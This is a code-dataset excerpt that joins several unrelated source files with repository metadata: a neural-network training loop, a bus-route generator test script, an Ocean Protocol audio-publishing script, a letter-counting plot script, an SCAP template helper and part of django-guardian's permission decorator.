#LocFile = 'Models/3D_NewRepresentation/New%sperc/%sx%sx%s_%sx%sx%s_4ConvNets_4HL_BN_3FC%s_ws%sx%sx%s_%sconvdepth'%(int(HyperPar[9]), int(HyperPar[3]),int(HyperPar[4]),int(HyperPar[5]), int(HyperPar[6]),int(HyperPar[7]),int(HyperPar[8]), int(HyperPar[11]), int(HyperPar[12]),int(HyperPar[12]),int(HyperPar[12]), int(HyperPar[13]))
print("[Graph]")
#fns_nested.CreateGraph_4ConvNets_4HL_NFeaConv_wdnhxwdnh_BN_3D_NoBN(HyperPar=HyperPar, LocModel=LocModel)
fns_nested.CreateGraph_4ConvNets_4HL_NFeaConv_wdnhxwdnh_BN_3D(HyperPar=HyperPar, LocModel=LocModel)
# To save the TI
TempSimGrid = fns_nested.Grid(HyperPar=HyperPar, DBname=TrainingImage, Lvl=3,Training=False, Padding=True)
TempSimGrid.SavePlot(name=LocModel+'_TI.png', Level=1)
MaxLR, MinLR = 0.01, 0.001
StepLR = 10
PointStart = 1
for indTrain in range(Ncicles):
#HyperPar[9] = np.random.randint(41)+10
cuos = indTrain%(2*StepLR)
if cuos < StepLR:
LearningRate = np.around(((MaxLR - MinLR)/StepLR)*cuos + MinLR, decimals=7)
else:
LearningRate = np.around(((MaxLR - MinLR)/StepLR)*(StepLR - cuos) + MaxLR, decimals=7)
start_time_1 = time.time()
print ("Cicle: {}".format(indTrain+PointStart), "Learning Rate: ", LearningRate)
TempSimGrid = fns_nested.Grid(HyperPar=HyperPar, DBname=TrainingImage, Lvl=5, Training=True, Padding=True)
print("[Sim]")
TempSimGrid.Simulate_4ConvNets_BN_3D(LocModel=LocModel, Cicle=(indTrain+PointStart), Plot=True)
print("[Saving Grid]")
TempSimGrid.SaveGrid(file="{}/TrainReas_{}.txt".format(LocFile, indTrain+PointStart))
print("[Train]")
TempSimGrid.Train_4ConvNets_BN_3D(Epochs=Nepoch, Num_samples=Nsamples, LocModel=LocModel, LR=LearningRate)
print("--%s seconds of whole training process-" % (np.around((time.time() - start_time_1), decimals=2)))
gc.collect()
print(" ")
print("--%s minutes of ALL training-" % ((time.time() - start_time_AllTrain)/60)) | 53.879121 | 343 | 0.713237 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,410 | 0.491536 |
7c2db7d1e1ec02302af64420555ad08513981b88 | 18,565 | py | Python | tests/route_generator_test.py | CityPulse/dynamic-bus-scheduling | 7516283be5a374fe0a27715f4facee11c847f39f | [
"MIT"
] | 14 | 2016-09-24T11:42:48.000Z | 2021-06-11T08:06:23.000Z | tests/route_generator_test.py | CityPulse/CityPulse-Dynamic-Bus-Scheduler | 7516283be5a374fe0a27715f4facee11c847f39f | [
"MIT"
] | 1 | 2016-07-08T09:16:42.000Z | 2016-07-08T09:16:42.000Z | tests/route_generator_test.py | CityPulse/dynamic-bus-scheduling | 7516283be5a374fe0a27715f4facee11c847f39f | [
"MIT"
] | 5 | 2016-06-17T12:46:28.000Z | 2021-09-25T19:04:37.000Z | #!/usr/local/bin/python
# -*- coding: utf-8 -*-
"""
- LICENCE
The MIT License (MIT)
Copyright (c) 2016 Eleftherios Anagnostopoulos for Ericsson AB (EU FP7 CityPulse Project)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
- DESCRIPTION OF DOCUMENTS
-- MongoDB Database Documents:
address_document: {
'_id', 'name', 'node_id', 'point': {'longitude', 'latitude'}
}
bus_line_document: {
'_id', 'bus_line_id', 'bus_stops': [{'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}}]
}
bus_stop_document: {
'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}
}
bus_stop_waypoints_document: {
'_id', 'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
'waypoints': [[edge_object_id]]
}
bus_vehicle_document: {
'_id', 'bus_vehicle_id', 'maximum_capacity',
'routes': [{'starting_datetime', 'ending_datetime', 'timetable_id'}]
}
detailed_bus_stop_waypoints_document: {
'_id', 'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
'waypoints': [[edge_document]]
}
edge_document: {
'_id', 'starting_node': {'osm_id', 'point': {'longitude', 'latitude'}},
'ending_node': {'osm_id', 'point': {'longitude', 'latitude'}},
'max_speed', 'road_type', 'way_id', 'traffic_density'
}
node_document: {
'_id', 'osm_id', 'tags', 'point': {'longitude', 'latitude'}
}
point_document: {
'_id', 'osm_id', 'point': {'longitude', 'latitude'}
}
timetable_document: {
'_id', 'timetable_id', 'bus_line_id', 'bus_vehicle_id',
'timetable_entries': [{
'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
'departure_datetime', 'arrival_datetime', 'number_of_onboarding_passengers',
'number_of_deboarding_passengers', 'number_of_current_passengers',
'route': {
'total_distance', 'total_time', 'node_osm_ids', 'points', 'edges',
'distances_from_starting_node', 'times_from_starting_node',
'distances_from_previous_node', 'times_from_previous_node'
}
}],
'travel_requests': [{
'_id', 'client_id', 'bus_line_id',
'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
'departure_datetime', 'arrival_datetime',
'starting_timetable_entry_index', 'ending_timetable_entry_index'
}]
}
traffic_event_document: {
'_id', 'event_id', 'event_type', 'event_level', 'point': {'longitude', 'latitude'}, 'datetime'
}
travel_request_document: {
'_id', 'client_id', 'bus_line_id',
'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
'departure_datetime', 'arrival_datetime',
'starting_timetable_entry_index', 'ending_timetable_entry_index'
}
way_document: {
'_id', 'osm_id', 'tags', 'references'
}
-- Route Generator Responses:
get_route_between_two_bus_stops: {
'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
'route': {
'total_distance', 'total_time', 'node_osm_ids', 'points', 'edges',
'distances_from_starting_node', 'times_from_starting_node',
'distances_from_previous_node', 'times_from_previous_node'
}
}
get_route_between_multiple_bus_stops: [{
'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
'route': {
'total_distance', 'total_time', 'node_osm_ids', 'points', 'edges',
'distances_from_starting_node', 'times_from_starting_node',
'distances_from_previous_node', 'times_from_previous_node'
}
}]
get_waypoints_between_two_bus_stops: {
'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
'waypoints': [[{
'_id', 'starting_node': {'osm_id', 'point': {'longitude', 'latitude'}},
'ending_node': {'osm_id', 'point': {'longitude', 'latitude'}},
'max_speed', 'road_type', 'way_id', 'traffic_density'
}]]
}
get_waypoints_between_multiple_bus_stops: [{
'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
'waypoints': [[{
'_id', 'starting_node': {'osm_id', 'point': {'longitude', 'latitude'}},
'ending_node': {'osm_id', 'point': {'longitude', 'latitude'}},
'max_speed', 'road_type', 'way_id', 'traffic_density'
}]]
}]
"""
import time
import os
import sys
sys.path.append(os.path.join(os.path.dirname(__file__), '../'))
from src.common.logger import log
from src.common.parameters import testing_bus_stop_names
from src.route_generator.route_generator_client import get_route_between_two_bus_stops, \
get_route_between_multiple_bus_stops, get_waypoints_between_two_bus_stops, get_waypoints_between_multiple_bus_stops
__author__ = 'Eleftherios Anagnostopoulos'
__email__ = 'eanagnostopoulos@hotmail.com'
__credits__ = [
'Azadeh Bararsani (Senior Researcher at Ericsson AB) - email: azadeh.bararsani@ericsson.com'
'Aneta Vulgarakis Feljan (Senior Researcher at Ericsson AB) - email: aneta.vulgarakis@ericsson.com'
]
def test_get_route_between_two_bus_stops(starting_bus_stop=None, ending_bus_stop=None,
starting_bus_stop_name=None, ending_bus_stop_name=None):
"""
:param starting_bus_stop: bus_stop_document
:param ending_bus_stop: bus_stop_document
:param starting_bus_stop_name: string
:param ending_bus_stop_name: string
"""
log(module_name='route_generator_test', log_type='INFO',
log_message='get_route_between_two_bus_stops: starting')
start_time = time.time()
# response = {
# 'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
# 'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
# 'route': {
# 'total_distance', 'total_time', 'node_osm_ids', 'points', 'edges',
# 'distances_from_starting_node', 'times_from_starting_node',
# 'distances_from_previous_node', 'times_from_previous_node'
# }
# }
response = get_route_between_two_bus_stops(
starting_bus_stop=starting_bus_stop,
ending_bus_stop=ending_bus_stop,
starting_bus_stop_name=starting_bus_stop_name,
ending_bus_stop_name=ending_bus_stop_name
)
starting_bus_stop = response.get('starting_bus_stop')
ending_bus_stop = response.get('ending_bus_stop')
route = response.get('route')
if route is not None:
total_distance = route.get('total_distance')
total_time = route.get('total_time')
node_osm_ids = route.get('node_osm_ids')
points = route.get('points')
edges = route.get('edges')
distances_from_starting_node = route.get('distances_from_starting_node')
times_from_starting_node = route.get('times_from_starting_node')
distances_from_previous_node = route.get('distances_from_previous_node')
times_from_previous_node = route.get('times_from_previous_node')
output = '\nstarting_bus_stop: ' + str(starting_bus_stop) + \
'\nending_bus_stop: ' + str(ending_bus_stop) + \
'\ntotal_distance: ' + str(total_distance) + \
'\ntotal_time: ' + str(total_time) + \
'\nnode_osm_ids: ' + str(node_osm_ids) + \
'\npoints: ' + str(points) + \
'\nedges: ' + str(edges) + \
'\ndistances_from_starting_node: ' + str(distances_from_starting_node) + \
'\ntimes_from_starting_node: ' + str(times_from_starting_node) + \
'\ndistances_from_previous_node: ' + str(distances_from_previous_node) + \
'\ntimes_from_previous_node: ' + str(times_from_previous_node)
else:
output = '\nstarting_bus_stop: ' + str(starting_bus_stop) + \
'\nending_bus_stop: ' + str(ending_bus_stop) + \
'\nroute: None'
print output
elapsed_time = time.time() - start_time
time.sleep(0.1)
log(module_name='route_generator_test', log_type='INFO',
log_message='test_get_route_between_two_bus_stops: finished - elapsed_time = ' +
str(elapsed_time) + ' sec')
def test_get_route_between_multiple_bus_stops(bus_stops=None, bus_stop_names=None):
"""
:param bus_stops: [bus_stop_document]
:param bus_stop_names: [string]
"""
log(module_name='route_generator_test', log_type='INFO',
log_message='get_route_between_multiple_bus_stops: starting')
start_time = time.time()
route_distance = 0
route_traveling_time = 0
# response = [{
# 'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
# 'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
# 'route': {
# 'total_distance', 'total_time', 'node_osm_ids', 'points', 'edges',
# 'distances_from_starting_node', 'times_from_starting_node',
# 'distances_from_previous_node', 'times_from_previous_node'
# }
# }]
response = get_route_between_multiple_bus_stops(
bus_stops=bus_stops,
bus_stop_names=bus_stop_names
)
for intermediate_response in response:
starting_bus_stop = intermediate_response.get('starting_bus_stop')
ending_bus_stop = intermediate_response.get('ending_bus_stop')
intermediate_route = intermediate_response.get('route')
if intermediate_route is not None:
total_distance = intermediate_route.get('total_distance')
route_distance += total_distance
total_time = intermediate_route.get('total_time')
route_traveling_time += total_time
node_osm_ids = intermediate_route.get('node_osm_ids')
points = intermediate_route.get('points')
edges = intermediate_route.get('edges')
distances_from_starting_node = intermediate_route.get('distances_from_starting_node')
times_from_starting_node = intermediate_route.get('times_from_starting_node')
distances_from_previous_node = intermediate_route.get('distances_from_previous_node')
times_from_previous_node = intermediate_route.get('times_from_previous_node')
output = '\nstarting_bus_stop: ' + str(starting_bus_stop) + \
'\nending_bus_stop: ' + str(ending_bus_stop) + \
'\ntotal_distance: ' + str(total_distance) + \
'\ntotal_time: ' + str(total_time) + \
'\nnode_osm_ids: ' + str(node_osm_ids) + \
'\npoints: ' + str(points) + \
'\nedges: ' + str(edges) + \
'\ndistances_from_starting_node: ' + str(distances_from_starting_node) + \
'\ntimes_from_starting_node: ' + str(times_from_starting_node) + \
'\ndistances_from_previous_node: ' + str(distances_from_previous_node) + \
'\ntimes_from_previous_node: ' + str(times_from_previous_node)
else:
output = '\nstarting_bus_stop: ' + str(starting_bus_stop) + \
'\nending_bus_stop: ' + str(ending_bus_stop) + \
'\nroute: None'
print output
route_average_speed = (route_distance / 1000) / (route_traveling_time / 3600)
print '\nroute_distance: ' + str(route_distance / 1000) + \
' - route_traveling_time: ' + str(route_traveling_time / 60) + \
' - route_average_speed: ' + str(route_average_speed)
elapsed_time = time.time() - start_time
time.sleep(0.1)
log(module_name='route_generator_test', log_type='INFO',
log_message='test_get_route_between_multiple_bus_stops: finished - elapsed_time = ' +
str(elapsed_time) + ' sec')
def test_get_waypoints_between_two_bus_stops(starting_bus_stop=None, ending_bus_stop=None,
starting_bus_stop_name=None, ending_bus_stop_name=None):
"""
:param starting_bus_stop: bus_stop_document
:param ending_bus_stop: bus_stop_document
:param starting_bus_stop_name: string
:param ending_bus_stop_name: string
"""
log(module_name='route_generator_test', log_type='INFO',
log_message='test_get_waypoints_between_two_bus_stops: starting')
start_time = time.time()
# response = {
# 'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
# 'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
# 'waypoints': [[{
# '_id', 'starting_node': {'osm_id', 'point': {'longitude', 'latitude'}},
# 'ending_node': {'osm_id', 'point': {'longitude', 'latitude'}},
# 'max_speed', 'road_type', 'way_id', 'traffic_density'
# }]]
# }
response = get_waypoints_between_two_bus_stops(
starting_bus_stop=starting_bus_stop,
ending_bus_stop=ending_bus_stop,
starting_bus_stop_name=starting_bus_stop_name,
ending_bus_stop_name=ending_bus_stop_name
)
starting_bus_stop = response.get('starting_bus_stop')
ending_bus_stop = response.get('ending_bus_stop')
waypoints = response.get('waypoints')
output = '\nstarting_bus_stop: ' + str(starting_bus_stop) + \
'\nending_bus_stop: ' + str(ending_bus_stop)
print output
for separate_waypoints in waypoints:
print 'waypoints: ' + str(separate_waypoints)
elapsed_time = time.time() - start_time
time.sleep(0.1)
log(module_name='route_generator_test', log_type='INFO',
log_message='test_get_waypoints_between_two_bus_stops: finished - elapsed_time = ' +
str(elapsed_time) + ' sec')
def test_get_waypoints_between_multiple_bus_stops(bus_stops=None, bus_stop_names=None):
"""
:param bus_stops: [bus_stop_document]
:param bus_stop_names: [string]
"""
log(module_name='route_generator_test', log_type='INFO',
log_message='test_get_waypoints_between_multiple_bus_stops: starting')
start_time = time.time()
# response = [{
# 'starting_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
# 'ending_bus_stop': {'_id', 'osm_id', 'name', 'point': {'longitude', 'latitude'}},
# 'waypoints': [[{
# '_id', 'starting_node': {'osm_id', 'point': {'longitude', 'latitude'}},
# 'ending_node': {'osm_id', 'point': {'longitude', 'latitude'}},
# 'max_speed', 'road_type', 'way_id', 'traffic_density'
# }]]
# }]
response = get_waypoints_between_multiple_bus_stops(
bus_stops=bus_stops,
bus_stop_names=bus_stop_names
)
for intermediate_response in response:
starting_bus_stop = intermediate_response.get('starting_bus_stop')
ending_bus_stop = intermediate_response.get('ending_bus_stop')
waypoints = intermediate_response.get('waypoints')
output = '\nstarting_bus_stop: ' + str(starting_bus_stop) + \
'\nending_bus_stop: ' + str(ending_bus_stop)
print output
for separate_waypoints in waypoints:
print 'waypoints: ' + str(separate_waypoints)
elapsed_time = time.time() - start_time
time.sleep(0.1)
log(module_name='route_generator_test', log_type='INFO',
log_message='test_get_waypoints_between_multiple_bus_stops: finished - elapsed_time = ' +
str(elapsed_time) + ' sec')
if __name__ == '__main__':
selection = ''
while True:
selection = raw_input(
'\n0. exit'
'\n1. test_get_route_between_two_bus_stops'
'\n2. test_get_route_between_multiple_bus_stops'
'\n3. test_get_waypoints_between_two_bus_stops'
'\n4. test_get_waypoints_between_multiple_bus_stops'
'\nSelection: '
)
if selection == '0':
break
elif selection == '1':
test_get_route_between_two_bus_stops(
starting_bus_stop_name=testing_bus_stop_names[0],
ending_bus_stop_name=testing_bus_stop_names[1]
)
elif selection == '2':
test_get_route_between_multiple_bus_stops(
bus_stop_names=testing_bus_stop_names
)
elif selection == '3':
test_get_waypoints_between_two_bus_stops(
starting_bus_stop_name=testing_bus_stop_names[0],
ending_bus_stop_name=testing_bus_stop_names[1]
)
elif selection == '4':
test_get_waypoints_between_multiple_bus_stops(
bus_stop_names=testing_bus_stop_names
)
else:
print 'Invalid input'
| 43.579812 | 119 | 0.649609 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10,943 | 0.589442 |
7c30ba325b9fb817b1364d8d7e3e057255111d8c | 259 | py | Python | letters_of_sherlock.py | MariannaJan/LettersOfSherlock | cf356c002078d4e0e6bcf1a669bc8b358680460f | [
"FTL"
] | null | null | null | letters_of_sherlock.py | MariannaJan/LettersOfSherlock | cf356c002078d4e0e6bcf1a669bc8b358680460f | [
"FTL"
] | null | null | null | letters_of_sherlock.py | MariannaJan/LettersOfSherlock | cf356c002078d4e0e6bcf1a669bc8b358680460f | [
"FTL"
] | null | null | null | import lettercounter as lc
#Books form Gutenberg Project: https://www.gutenberg.org/ebooks/author/69
lc.showPlots(text_directory_pathname="./Books/",
title="Sir Arthur Conan Doyle's favourite letters",
legend_label_main="in Doyle's stories") | 37 | 73 | 0.749035 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 147 | 0.567568 |
7c32daa41ae2a8f92a0d91d061b5264ea9984602 | 436 | py | Python | shared/templates/grub2_bootloader_argument/template.py | justchris1/scap-security-guide | 030097afa80041fcdffc537a49c09896efedadca | [
"BSD-3-Clause"
] | 1,138 | 2018-09-05T06:31:44.000Z | 2022-03-31T03:38:24.000Z | shared/templates/grub2_bootloader_argument/template.py | justchris1/scap-security-guide | 030097afa80041fcdffc537a49c09896efedadca | [
"BSD-3-Clause"
] | 4,743 | 2018-09-04T15:14:04.000Z | 2022-03-31T23:17:57.000Z | shared/templates/grub2_bootloader_argument/template.py | justchris1/scap-security-guide | 030097afa80041fcdffc537a49c09896efedadca | [
"BSD-3-Clause"
] | 400 | 2018-09-08T20:08:49.000Z | 2022-03-30T20:54:32.000Z | import ssg.utils
def preprocess(data, lang):
data["arg_name_value"] = data["arg_name"] + "=" + data["arg_value"]
if lang == "oval":
# escape dot, this is used in oval regex
data["escaped_arg_name_value"] = data["arg_name_value"].replace(".", "\\.")
# replace . with _, this is used in test / object / state ids
data["sanitized_arg_name"] = ssg.utils.escape_id(data["arg_name"])
return data
| 36.333333 | 83 | 0.623853 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 225 | 0.516055 |
7c3522929deb4bb2524b97c1af2b5f08df9a050e | 5,585 | py | Python | backend/0_publish_audio.py | bmj-hackathon/ethberlinzwei-babelfish_3_0 | e986ad1b9fa896f20d7cdd296d130d804f55ecfa | [
"Apache-2.0"
] | 1 | 2019-08-28T12:12:09.000Z | 2019-08-28T12:12:09.000Z | backend/0_publish_audio.py | bmj-hackathon/ethberlinzwei-babelfish_3_0 | e986ad1b9fa896f20d7cdd296d130d804f55ecfa | [
"Apache-2.0"
] | 8 | 2020-09-07T01:00:44.000Z | 2022-03-02T05:19:32.000Z | backend/0_publish_audio.py | bmj-hackathon/ethberlinzwei-babelfish_3_0 | e986ad1b9fa896f20d7cdd296d130d804f55ecfa | [
"Apache-2.0"
] | 3 | 2019-08-24T20:36:08.000Z | 2021-02-18T20:28:11.000Z | import sys
import logging
# loggers_dict = logging.Logger.manager.loggerDict
#
# logger = logging.getLogger()
# logger.handlers = []
#
# # Set level
# logger.setLevel(logging.DEBUG)
#
# # FORMAT = "%(asctime)s - %(levelno)s - %(module)-15s - %(funcName)-15s - %(message)s"
# # FORMAT = "%(asctime)s %(levelno)s: %(module)30s %(message)s"
# FORMAT = "%(levelno)s - %(module)-15s - %(funcName)-15s - %(message)s"
#
# DATE_FMT = "%Y-%m-%d %H:%M:%S"
# DATE_FMT = "%Y-%m-%d %H:%M:%S"
# formatter = logging.Formatter(FORMAT, DATE_FMT)
#
# # Create handler and assign
# handler = logging.StreamHandler(sys.stderr)
# handler.setFormatter(formatter)
# logger.handlers = [handler]
# logger.debug("Logging started")
#%%
# Standard imports
import os
from pathlib import Path
import json
from time import sleep
# Ocean imports
import squid_py
from squid_py.ocean.ocean import Ocean
from squid_py.config import Config
from pprint import pprint
import mantaray_utilities as manta_utils
from mantaray_utilities.user import password_map
#%% CONFIG
OCEAN_CONFIG_PATH = Path().cwd() / 'config_nile.ini'
assert OCEAN_CONFIG_PATH.exists(), "{} - path does not exist".format(OCEAN_CONFIG_PATH)
os.environ['OCEAN_CONFIG_PATH'] = str(OCEAN_CONFIG_PATH)
PASSWORD_PATH=Path().cwd() / ".nile_passwords"
assert PASSWORD_PATH.exists()
os.environ["PASSWORD_PATH"] = str(PASSWORD_PATH)
MARKET_PLACE_PROVIDER_ADDRESS="0x376817c638d2a04f475a73af37f7b51a2862d567"
os.environ["MARKET_PLACE_PROVIDER_ADDRESS"] = MARKET_PLACE_PROVIDER_ADDRESS
JSON_TEMPLATE = Path().cwd() / 'metadata_template.json'
assert JSON_TEMPLATE.exists()
#%% ARGPARSE
import argparse
parser = argparse.ArgumentParser(description='Publish audio')
parser.add_argument('--url', type=str, help='URL for input audio file')
parser.add_argument('--price', type=int, help='Selling price in Ocean token')
parser.add_argument('--reward', type=int, help='Reward offered in Ocean token')
parser.add_argument('--number-nodes', type=int, help='Number of processor nodes requested')
args = parser.parse_args()
logging.info("************************************************************".format())
logging.info("*** ETHBERLINZWEI HACKATHON ***".format())
logging.info("*** SPEECH2TEXT ***".format())
logging.info("*** STEP 1 - CLIENT REGISTERS A CLIP INTO OCEAN PROTOCOL ***".format())
logging.info("************************************************************".format())
logging.info("".format())
logging.info("(Step 1.1 not implemented - upload audio file from client to storage)".format())
logging.info("Publishing Audio to NILE network: {}".format(args.url))
logging.info("Will set price to {} OCEAN".format(args.price))
logging.info("Offering {} OCEAN reward".format(args.reward))
logging.info("Requesting {} processors".format(args.number_nodes))
logging.info("".format())
#%%
# Get the configuration file path for this environment
logging.info("Configuration file selected: {}".format(OCEAN_CONFIG_PATH))
# logging.critical("Deployment type: {}".format(manta_utils.config.get_deployment_type()))
logging.info("Squid API version: {}".format(squid_py.__version__))
#%%
# Instantiate Ocean with the default configuration file.
configuration = Config(OCEAN_CONFIG_PATH)
squid_py.ConfigProvider.set_config(configuration)
ocn = Ocean(configuration)
#%%
# Get a publisher account
publisher_acct = manta_utils.user.get_account_by_index(ocn,0)
#%%
logging.info("Publisher account address: {}".format(publisher_acct.address))
logging.info("Publisher account Testnet 'ETH' balance: {:>6.1f}".format(ocn.accounts.balance(publisher_acct).eth/10**18))
logging.info("Publisher account Testnet Ocean balance: {:>6.1f}".format(ocn.accounts.balance(publisher_acct).ocn/10**18))
def publish(url, price, reward, number_nodes):
# metadata = squid_py.ddo.metadata.Metadata.get_example()
# print('Name of asset:', metadata['base']['name'])
with open(JSON_TEMPLATE, 'r') as f:
metadata = json.load(f)
metadata['base']['files'][0]['url'] = url
metadata['base']['price'] = str(price)
metadata['additionalInformation']['reward'] = str(reward)
metadata['additionalInformation']['numberNodes'] = str(number_nodes)
ddo = ocn.assets.create(metadata, publisher_acct)
registered_did = ddo.did
logging.info("New asset registered at {}".format(str(registered_did)))
logging.info("Asset name: {}".format(metadata['base']['name']))
logging.info("Encrypted files to secret store, cipher text: [{}...] . ".format(ddo.metadata['base']['encryptedFiles'][:50]))
return registered_did
registered_did = publish(args.url, args.price, args.reward, args.number_nodes)
#TODO: Better handling based on reciept
print("Wait for the transaction to complete!")
sleep(10)
# %%
ddo = ocn.assets.resolve(registered_did)
# print("Asset '{}' resolved from Aquarius metadata storage: {}".format(ddo.did,ddo.metadata['base']['name']))
# %% [markdown]
# Similarly, we can verify that this asset is registered into the blockchain, and that you are the owner.
# %%
# We need the pure ID string as in the DID registry (a DID without the prefixes)
asset_id = squid_py.did.did_to_id(registered_did)
owner = ocn._keeper.did_registry.contract_concise.getDIDOwner(asset_id)
# print("Asset ID", asset_id, "owned by", owner)
assert str.lower(owner) == str.lower(publisher_acct.address)
logging.info("".format())
logging.info("Successfully registered Audio!".format())
logging.info("Asset Owner: {}".format(owner))
logging.info("Asset DID: {}".format(registered_did))
| 36.986755 | 128 | 0.708684 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,874 | 0.514593 |
7c3d1d7e925f2c1752e9865895938aea4dee29d9 | 6,830 | py | Python | guardian/decorators.py | peopledoc/django-guardian | 459827c2329975113cbf0d11f4fd476b5689a055 | [
"BSD-2-Clause"
] | null | null | null | guardian/decorators.py | peopledoc/django-guardian | 459827c2329975113cbf0d11f4fd476b5689a055 | [
"BSD-2-Clause"
] | null | null | null | guardian/decorators.py | peopledoc/django-guardian | 459827c2329975113cbf0d11f4fd476b5689a055 | [
"BSD-2-Clause"
] | null | null | null | from django.conf import settings
from django.contrib.auth import REDIRECT_FIELD_NAME
from django.core.exceptions import PermissionDenied
from django.http import HttpResponseForbidden, HttpResponseRedirect
from django.utils.functional import wraps
from django.utils.http import urlquote
from django.db.models import Model, get_model
from django.db.models.base import ModelBase
from django.db.models.query import QuerySet
from django.shortcuts import get_object_or_404, render_to_response
from django.template import RequestContext, TemplateDoesNotExist
from guardian.conf import settings as guardian_settings
from guardian.exceptions import GuardianError
def permission_required(perm, lookup_variables=None, **kwargs):
"""
Decorator for views that checks whether a user has a particular permission
enabled.
Optionally, instances for which check should be made may be passed as an
second argument or as a tuple parameters same as those passed to
``get_object_or_404`` but must be provided as pairs of strings.
:param login_url: if denied, user would be redirected to location set by
this parameter. Defaults to ``django.conf.settings.LOGIN_URL``.
:param redirect_field_name: name of the parameter passed if redirected.
Defaults to ``django.contrib.auth.REDIRECT_FIELD_NAME``.
:param return_403: if set to ``True`` then instead of redirecting to the
login page, response with status code 403 is returned (
``django.http.HttpResponseForbidden`` instance or rendered template -
see :setting:`GUARDIAN_RENDER_403`). Defaults to ``False``.
:param accept_global_perms: if set to ``True``, then *object level
permission* would be required **only if user does NOT have global
permission** for target *model*. If turned on, makes this decorator
like an extension over standard
``django.contrib.admin.decorators.permission_required`` as it would
check for global permissions first. Defaults to ``False``.
Examples::
@permission_required('auth.change_user', return_403=True)
def my_view(request):
return HttpResponse('Hello')
@permission_required('auth.change_user', (User, 'username', 'username'))
def my_view(request, username):
user = get_object_or_404(User, username=username)
return user.get_absolute_url()
@permission_required('auth.change_user',
(User, 'username', 'username', 'groups__name', 'group_name'))
def my_view(request, username, group_name):
user = get_object_or_404(User, username=username,
group__name=group_name)
return user.get_absolute_url()
"""
login_url = kwargs.pop('login_url', settings.LOGIN_URL)
redirect_field_name = kwargs.pop('redirect_field_name', REDIRECT_FIELD_NAME)
return_403 = kwargs.pop('return_403', False)
accept_global_perms = kwargs.pop('accept_global_perms', False)
# Check if perm is given as string in order not to decorate
# view function itself which makes debugging harder
if not isinstance(perm, basestring):
raise GuardianError("First argument must be in format: "
"'app_label.codename or a callable which return similar string'")
def decorator(view_func):
def _wrapped_view(request, *args, **kwargs):
# if more than one parameter is passed to the decorator we try to
# fetch object for which check would be made
obj = None
if lookup_variables:
model, lookups = lookup_variables[0], lookup_variables[1:]
# Parse model
if isinstance(model, basestring):
splitted = model.split('.')
if len(splitted) != 2:
raise GuardianError("If model should be looked up from "
"string it needs format: 'app_label.ModelClass'")
model = get_model(*splitted)
elif type(model) in (Model, ModelBase, QuerySet):
pass
else:
raise GuardianError("First lookup argument must always be "
"a model, string pointing at app/model or queryset. "
"Given: %s (type: %s)" % (model, type(model)))
# Parse lookups
if len(lookups) % 2 != 0:
raise GuardianError("Lookup variables must be provided "
"as pairs of lookup_string and view_arg")
lookup_dict = {}
for lookup, view_arg in zip(lookups[::2], lookups[1::2]):
if view_arg not in kwargs:
raise GuardianError("Argument %s was not passed "
"into view function" % view_arg)
lookup_dict[lookup] = kwargs[view_arg]
obj = get_object_or_404(model, **lookup_dict)
# Handles both original and with object provided permission check
# as ``obj`` defaults to None
has_perm = accept_global_perms and request.user.has_perm(perm)
